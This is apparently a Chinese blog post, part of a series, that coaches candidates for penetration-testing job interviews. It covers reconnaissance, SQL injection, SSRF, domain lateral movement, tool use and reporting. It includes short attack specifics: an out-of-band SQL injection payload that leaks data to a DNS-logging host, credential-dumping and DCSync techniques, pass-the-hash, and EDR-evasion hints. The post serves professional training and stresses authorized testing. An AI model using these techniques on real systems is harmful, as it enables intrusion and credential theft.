开头
做了这么多年渗透测试,也面试过不少人,最大的感触是:大部分候选人对漏洞原理背得滚瓜烂熟,但一到面试官追问“你为什么这么测”“这条命令背后的流量特征是什么”“拿到一个授权目标你第一步怎么规划”,就明显露怯了。这其实不怪大家,网上的渗透测试面试题总结确实不少,但很多都停留在“题目+一句话答案”的层面,看起来背了五六百道题,真到现场还是不会组织回答。这个系列我写到了第23期,前22期基本把高频考点都过了一遍——信息收集、Web漏洞利用、内网渗透、免杀与防御对抗,每期都会结合真实面试场景做还原。这一期我想换个思路,不单列题目和答案,而是把面试官真正会追问的链路捋出来,帮准备面试的朋友理解“这道题背后到底在考什么”,也帮正在带新人的团队Leader们当个出题参考。
1. 信息收集类题目:考官是怎么从“随便聊聊”聊到内网架构的
1.1 “拿到一个授权目标,你第一步做什么”——这道题没有标准答案
这道题基本是渗透测试工程师面试的开场送分题,但真答好的人非常少。大多数候选人的回答是:“先Nmap扫端口,再用目录扫描工具跑路径。”这种回答如果能及格,那面试官可能只招初级助理岗;如果面的是能独立带项目的岗位,基本就凉了。
面试官真正想问的是:你有没有完整的测试前规划意识。一个合格的回答应该是这个顺序——第一步先读授权书,确认测试范围、时间窗口、允许测试的IP段和域名、是否有禁止项(比如不允许社工、不允许DoS测试);第二步做资产梳理,从根域名开始,用证书透明度日志、子域名收集工具、DNS历史记录把整个攻击面铺开;第三步才是端口扫描和服务识别。之所以把这步放在端口扫描前面,是因为很多公司内部资产常常存在“影子资产”——没纳入域名枚举范围的老系统、测试环境、第三方外包开发的站,这些才是最容易出漏洞的地方。
“先读授权书”这个动作很关键,面试官就是从这里判断你有没有合规意识。你可以补充说:“我习惯把授权范围截图存档,测试过程中每发现一个不在范围内的资产会立刻停手,记录到报告中并通知客户确认。”这段话一出来,基本就让面试官觉得你有实际项目经验,而不是只会跑工具。
1.2 指纹识别、目录爆破与证书透明度日志的追问组合
信息收集环节最容易被追问的就是子域名枚举的细节。比如面试官会问:“你用的是被动收集还是主动收集?为什么优先用被动方式?”被动收集指通过证书透明度日志、搜索引擎、威胁情报平台等第三方渠道去获取子域名记录,不会对目标产生任何流量交互;主动收集则是字典爆破DNS记录,这个会产生查询流量。优先做被动收集一方面效率高、覆盖广,另一方面隐蔽性好——合规起见也讲得通,我们本来就在做授权测试,但没必要一开始就打草惊蛇。
还有一个高频追问是:“拿到一个网站后,除了版本号,你会从哪些细节判断它的中间件和开发框架?”这里不用背太多东西,面试官想听的其实是特征比对的思路。你可以举几个典型例子:HTTP响应头里X-Powered-By会直接暴露框架类型;Cookie的命名规则能区分Java系还是PHP系;报错页面的格式能看出是Tomcat、Nginx还是IIS;静态资源路径后缀如.do、.action基本能锁定Struts2,.jsp加JSESSIONID基本是Java应用。页面上某些特定参数名如__VIEWSTATE是ASP.NET的特征,csrftoken则常见于Django类应用。
如果时间充裕,我还会建议候选人主动提一句:“我习惯把所有指纹信息汇总成一张资产信息表,后续漏洞测试时直接对着表验证,不重复做无用功。”这句话很短,但能体现你的工作方法,比背十条Nmap命令管用得多。
1.3 常见的“信息收集过度”扣分回答
这个部分我凭记忆总结几个面试中真实遇到过的扣分回答,大家对照一下。
第一个是“直接上Masscan扫全网段然后Nmap再细化”。这个思路本身没错,但候选人往往忽略了出口流量和扫描速度对目标系统的影响。在全速扫描下很容易把客户的IDC出口防火墙或WAF打崩,更有甚者把客户生产数据库连接数占满。真正有经验的人会把扫描速度限制在--min-rate和--max-rate之间取一个保守值,并且分时间段扫描。
第二个是“用工具收集了一堆结果但说不清优先级”。面试官问的是“拿到收集到的100个子域名后你怎么做”,很多人的回答是“挨个跑一遍”。实际项目里应该根据业务重要性排队:先测允许范围内的核心业务系统、登录入口、API接口,再测边缘系统(旧版测试站、后台管理页面)。原因很简单——漏洞报告里最值钱的就是能拿业务权限的漏洞,不是打下一堆没人用的内部系统。
第三个是最常见的:“信息收集完直接上漏扫。”缺少人工交叉验证的信息收集报告,很可能因为漏报而带偏整个渗透测试方向。面试官听到这个回答,基本会判定你没有经历过严格的实战项目复盘。
2. 漏洞利用高频题:SQL注入、RCE与SSRF的考查逻辑
2.1 SQL注入:从布尔盲注到写文件的边界判断
SQL注入在面试题库里永远是常青树,但这几年的考察方向明显变了。以前会问“怎么判断闭合符号”,现在更爱问**“在什么情况下SQL注入无法用工具直接跑出来”**。这是一个很典型的进阶问题,考察你踩坑的深度。
我比较推荐从三个角度回答。第一是执行环境受限:WAF对关键字做过滤时,SQLMap自带的tamper脚本不一定全适配,你得手工改写payload;第二是目标存在多种数据库类型混合——比如前端接入层用C#连接MSSQL、业务库却是Oracle,这时候注入语句的注释符和字符串拼接方式完全不同;第三是注入点本身限制,比如经典的INSERT型注入、ORDER BY型注入,SQLMap默认模式经常会误报,反而手工构造更容易成功。
面试官还喜欢追问:“Boolean-based盲注下,如果页面没有呈现任何差异,你会怎么办?”这题其实考的是时间盲注与带外交互的综合判断。很多人只记得sleep(),我会补充:当数据库用户权限不允许执行sleep时,可以考虑利用BENCHMARK函数(MySQL)、WAITFOR DELAY(SQL Server)或者带外通道。带外通道一般是用DNS请求,构造LOAD_FILE(CONCAT('\\\\', hex(...), '.dnslog.cn\\test')),让目标服务器向自己的DNSLog平台发起解析请求。这里要强调一句:“带外注入虽然慢,但在Web应用完全没有回显的情况下反而最稳。”
2.2 一条RCE题目的完整回答模板
RCE题目是面试中的重头戏,比如:“你在测试一个JAVA应用时,发现了一个文件上传点,但上传目录不允许执行脚本,你会怎么利用?”
这个问题非常实战,因为很多开发都学会了限制上传路径为静态目录。一个能拿高分的回答链路是:先判断服务器类型(Tomcat/Apache/Nginx),再判断是否有解析漏洞可以利用——Tomcat的PUT方法直接写JSP、Nginx的/xxx.jpg/.php解析、Apache多后缀解析等。如果上述路都不通,就转而尝试文件包含配合日志写马、或者找到已存在的文件上传点将恶意脚本存到可执行目录。最后,如果确实不能执行脚本,可以结合ftp/smb协议把恶意文件下载到可解析目录,或者用URLConnection读文件做SSRF。
面试官问这道题,本质上是想看你是“一条路走到黑”,还是有“路径判断—条件枚举—链路组合”的思维方式。你也可以在回答里说:“我会先理清目标是Windows还是Linux、用了哪个中间件,不同环境对应的利用方式差异非常大。”这句话看似废话,但在面试中是加分项,说明你有调试现场的思维习惯。
2.3 SSRF的利用面与过滤绕过思路
SSRF这题这几年出现频率越来越高,因为微服务架构里SSRF很容易演变成内网横向的突破口。面试官喜欢问:“如果目标限制了只能请求内网IP,你怎么绕过?”
主要答以下几点就够用:先试IPv6地址绕过,因为很多访问控制只过滤IPv4;再试短域名解析、DNSRebinding(绑定一个域名先解析到公网,再二次解析到内网IP);还有URL解析差异绕过,利用@符号、#锚点、大小写混淆、十六进制编码等方式,让后端的URL解析器跟访问控制层看到不同的地址。这里面试官会追问“你怎么抓确认是否绕过成功”,你可以答“观察响应时间和响应体,如果内网主机的服务类型有特征报错、到了HTTP服务则可能出现默认页;另外可以用一个自己可控的公网URL做对比,看响应差异”。
SSRF题答得好,能侧面证明你读过不少实际利用案例,而不是只背过定义。
3. 内网渗透与横向移动:面试官真正想听的答题顺序
3.1 内网信息收集:先收什么、后收什么
内网渗透这几年几乎成了面试的必考点,而且已经从“会不会用Mimikatz”进化到了“能不能讲清楚一条完整的内网攻击链”。面试官问内网信息收集中比较典型的题目是:“拿下一台Windows主机后,你会先执行哪些命令?”
一个推荐顺序如下:先用ipconfig /all看网卡、DNS、网关,判断当前主机所处的网段和是否有多个网卡;再用whoami /priv查看当前用户权限和特权;接着net user查看本地用户、net group "Domain Admins"查看域管理员组、net localgroup administrators查看本机管理员组;之后查arp -a看同网段活跃主机;最后才考虑抓密码、看浏览器保存密码、读配置文件等操作。这个顺序的逻辑是:先搞清楚自己是谁、在哪个位置、能碰到什么,再考虑怎么横向。
这里有个容易被忽略的加分点:候选人应主动提到PowerShell日志和命令历史。比如在回答时补上一句:“我会先检查当前用户的历史命令记录(如Get-History、PowerShell转录日志、$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt),里面往往直接躺着运维管理员敲过的密码和路径。”这句话面试官一听就会知道你真实打过靶场或项目,不是只看过教程。
3.2 横向移动常用手法与杀软规避的边界
内网横向的高频题是:“拿到域内一台普通用户机器,如何移动到域控?”
这里的答题思路不要只背工具,要讲清楚“利用什么条件”。常见路径大概有:检查当前用户是否在本地管理员组、是否可以直接通过SMB协议访问域控的C$共享,如果不能,则尝试窃取本地缓存的凭据(Mimikatzsekurlsa::logonpasswords)、抓取浏览器保存的密码、利用已登录用户的令牌做令牌模拟;再往上就是DCSync攻击——如果你拿到了域管权限或域控所在机器的SYSTEM权限,可以直接利用MS-DRSR协议同步域内哈希。
面试官此时常追问一个问题:“如果目标环境装了EDR,你的Mimikatz可能直接被拉黑,你有什么替代思路?”这个回答的边界要拿捏好,不要讲细到免杀对抗的灰色内容,而是谈合规思路:“在授权测试里,我会先跟客户确认EDR的策略并申请白名单;备选方案是用合法工具如Rubeus配合sekurlsa内存读取的替代版本,或者干脆通过临时修改工具签名、混淆执行方式绕过静态检测——但前提是客户已经书面授权。”这个回答体现了合规意识,又展示了你对工具生态的了解,分数就稳了。
3.3 域渗透的几个高频追问
- 问:怎么看当前用户是不是本地管理员?答:
net localgroup administrators结合whoami /groups里是否有Mandatory Label\High Mandatory Level,或者用PowerShell执行([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)。 - 问:域管密码缓存抓不到怎么办?答:看
NTDS.dit的备份文件、卷影副本vssadmin create shadow、域控上的ntdsutil、SYSVOL脚本目录里的明文密码、服务账号的spn配合Kerberoasting攻击。 - 问:拿到一个域用户哈希后怎么扩大战果?答:用哈希传递(PTH)尝试对同网段其他主机进行SMB登录,先横向再纵向;横向成功后收集当前桌面文件、浏览器缓存、SSH密钥,再朝域控方向打。
4. 工具与流量分析:Kali下的武器选择体现了你的工程思维
4.1 Nmap参数组合、masscan与扫描噪音控制
这题看似基础,可面试官真较真起来能问到你怀疑人生。最常见的是:“你扫一个C段,怎么保证在最短时间内把端口扫全,又不被目标网络的管理员发现?”
合理的回答是:先用masscan做全端口快速探测(比如masscan -p1-65535 --rate=1000),只输出端口列表;再用Nmap对开放端口做服务识别,参数组合类似nmap -sV -sC -Pn -p 22,80,443,8080 --open,-sC跑默认脚本有助于快速发现应用指纹。关于噪音控制,我会补充:“把--host-timeout设为10秒,把--max-retries设为默认的2~3次,能显著降低超时重试带来的重复流量;另外把-T3作为默认速度档位,除非客户明确同意可以提速。”
这里有个面试官常挖的细节:“Nmap的-sV和-A有什么区别,你什么时候不用-A?”答案是:-A包含了-sV、-sC、-O和路由追踪,输出信息全,但扫描时间长且会产生大量探测流量;在授权测试中,如果目标是核心业务系统,我通常只做-sV加部分-sC,避免把系统打挂。
4.2 流量分析题:从pcap里还原攻击链
有些面试官会直接给你一个流量包,让你分析攻击链。这类题的回答框架比较固定:先做总体统计——看协议分布、TCP连接数、DNS查询量、HTTP请求数;然后定位异常点——大流量TCP连接、大规模DNS TXT记录、非标准端口的HTTPS流量、HTTP响应码里的4xx/5xx聚集;最后还原攻击链。
举个例子,流量包里如果看到一个IP在短时间内向几十个端口发起TCP SYN包,基本可以判断是端口扫描;再看到HTTP日志里反复出现union select或sleep的请求,就可以判定是SQL注入扫描;如果再配合后续的POST到/upload接口的请求,就能拼出一条完整的攻击路径。这类题面试官考察的其实是你在实战中看流量的习惯,而不是单纯背Wireshark过滤语法。
我个人会建议候选人准备一个自己跑过的流量分析案例,哪怕只是靶场环境,也要能清楚地复述“从哪条流开始发现问题、如何一步步定位到攻击payload、最终如何溯源”。
4.3 手写脚本与工具改造的加分项
工具题里最容易拉开差距的是“你除了用工具,有没有写过辅助脚本”。面试官一般会问:“当SQLMap跑不出结果,你有自己写过注入脚本吗?具体怎么写?”
一个能自圆其说的回答可以是:写一个Python脚本,用requests库模拟浏览器请求,在参数中注入' and (select ascii(substr((select user()),1,1)))>64,通过布尔条件判断响应长度或关键词差异,循环substr和ascii逐位猜解。这里要特别注意编码问题——很多目标直接把+号过滤掉,脚本里要对payload做URLEncode。同样,在目录扫描时,也可以用aiohttp写一个简单异步扫描器,控制并发数防止触发WAF。
写脚本的好处不只是“快”,更重要的是你能完全控制payload的每一个字节,这对绕过过滤和特殊场景定制非常重要。
5. 报告与合规:渗透测试工程师的最后一公里
5.1 一份好报告应该包含哪些结构
很多候选人在面试中讲到报告就支支吾吾,这是很可惜的。报告能力恰恰是渗透测试工程师从执行者升级为顾问的分水岭,尤其在一线厂商项目验收时至关重要。面试官如果问“拿到测试结果后,你的报告怎么组织”,你可以按照这个结构答:漏洞通知摘要、测试范围与方法、风险评级总览、漏洞详情、复现步骤、修复建议、复测说明。
风险评级总览要用表格呈现,比如按CVSS评分的High/Medium/Low分级,列出漏洞数、涉及系统和影响;漏洞详情里每个漏洞要写清楚危害、触发条件、复现步骤和修复建议。这里有个容易忽略的点:复现步骤必须写到别人照着做就能复现的程度,比如包含完整请求包、URL、参数、使用的工具命令和输出片段。不是把你的操作日志直接贴上去,而是整理成可执行的步骤说明。
5.2 授权边界、数据脱敏与漏洞复测流程
报告之外,面试官还爱问合规细节,以此判断你有没有踩过项目红线。常见问题包括:“测试过程中发现了一个严重漏洞,可能影响客户生产数据,你会怎么办?”
比较稳的回答分三步:第一,立刻停止对该漏洞点的进一步测试,防止数据破坏;第二,通过项目群或邮件报告给客户接口人,说明漏洞现象、影响范围,并提出下一步建议;第三,在客户确认并授权后,用非破坏性方式做验证(比如读取一条不敏感的表数据或者构造一个不会写入的查询),把验证结果补充到正式报告里。
关于数据脱敏,任何测试数据、截图、日志都要做二次处理——把真实手机号、身份证号、Token、Cookie里的敏感值替换成*号,避免报告外泄造成二次风险。新人在这一块经常被客户投诉,所以面试时主动提到这个细节,是很加分的。
最后是复测流程。面试官问“修复后你怎么复测”,很多人答“再扫一遍”。这不够。面试官想看的是你懂不懂“验证修复不等于回归测试”。我会回答:先看漏洞类型——如果是代码层的注入问题,就直接重放原payload确认拦截或无法执行;如果是配置问题(如错误页泄露版本号),就重新请求相关URL,判断响应头或页面内容是否变化;如果是逻辑漏洞,要结合业务流程走一遍完整链路,确认修复没有影响到正常功能。这个回答能让面试官看到你良好的交付闭环习惯。
——
说到最后,这个系列写到现在,我最想强调的还是那句话:面试里没有所谓的“背题就能过”,技术题考察的是你解决问题的基本盘,追问和场景还原题考察的是你有没有真实的执行经验。如果你正准备面试,不妨把本文提到的每个追问都自己跑一遍靶场验证一下,比如拿一台Kali Linux搭个本地环境,实际演示一遍Nmap参数组合和流量包的抓取分析,再模拟写一份“漏洞报告”。这套动作做完,你再去面试,底气会完全不同。